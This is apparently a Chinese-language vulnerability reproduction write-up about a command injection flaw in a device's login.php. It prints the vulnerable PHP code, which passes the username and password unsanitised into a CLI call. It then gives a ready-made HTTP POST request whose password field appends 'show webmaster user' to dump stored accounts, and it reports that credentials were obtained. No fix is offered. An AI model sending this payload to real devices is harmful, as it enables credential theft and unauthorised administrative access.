## 漏洞复现
登录页面如下
漏洞文件 login.php
```php
<?php
/**
* 用户登录处理
*/
define('IN', true); //定位该文件是入口文件
define('DS', DIRECTORY_SEPARATOR);
define('AROOT', dirname(__FILE__) . DS);
class defaultController {
function __construct() {
}
/**
* 登录处理
*/
public function indexAction() {
$username = p("username");$password = p("password");$data = [];
$reg='/(\r|\n)+/';
if (count(preg_split($reg, $username)) > 1 || count(preg_split($reg, $password)) > 1) {
$data["status"] = 6;
$data["msg"] = "username or password can't exist '\r\n'";
json_echo($data);
exit();
}
if ($username == FALSE || $password == FALSE) {
$data["status"] = 5;
$data["msg"] = "username or password can't empty";
json_echo($data);
exit();
}
$res = execCli("exec", "webmaster $username $password");
if ($res["status"] != 1) {
json_echo($res);
exit();
}
$isSuccess = trim($res["data"]);
if ($isSuccess == 0) { //用户名、账号验证成功
session_start();
$_SESSION['username'] = $username; //记录用户名
$_SESSION["lasttime"] = time(); //记录登录时间
$config = @file_get_contents(DS . "data" . DS . "web.config"); //获取web配置信息
if ($config != false) {
$config = unserialize($config);
$_SESSION["timeout"] = isset($config["loginTimeout"]) ? $config["loginTimeout"] * 60 : c("timeout");
} else {
$_SESSION["timeout"] = c("timeout");
}
setcookie("user", $_SESSION['username']);
}
$res["data"] = $isSuccess;
json_echo($res);
}
/**
* 获取设备信息
*/
function versionAction() {
$info = $version = execCli("exec", "show version detail", "");
$info["data"] = preg_split("/\r*\n/", $info["data"]);
json_echo($info);
}
}
include_once(AROOT . "init.php"); //mvc初始化入口，放在底部
```
关键代码部分
```
if ($username == FALSE || $password == FALSE) {
$data["status"] = 5;
$data["msg"] = "username or password can't empty";
json_echo($data);
exit();
}
$res = execCli("exec", "webmaster $username $password");
if ($res["status"] != 1) {
json_echo($res);
exit();
}
$isSuccess = trim($res["data"]);
```
发送请求包，拼接 CLI指令 **show webmaster user**
```
POST /login.php HTTP/1.1
Host:
User-Agent: Go-http-client/1.1
Content-Length: 49
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
username=admin&password=admin?show+webmaster+user
```
成功获取账号密码
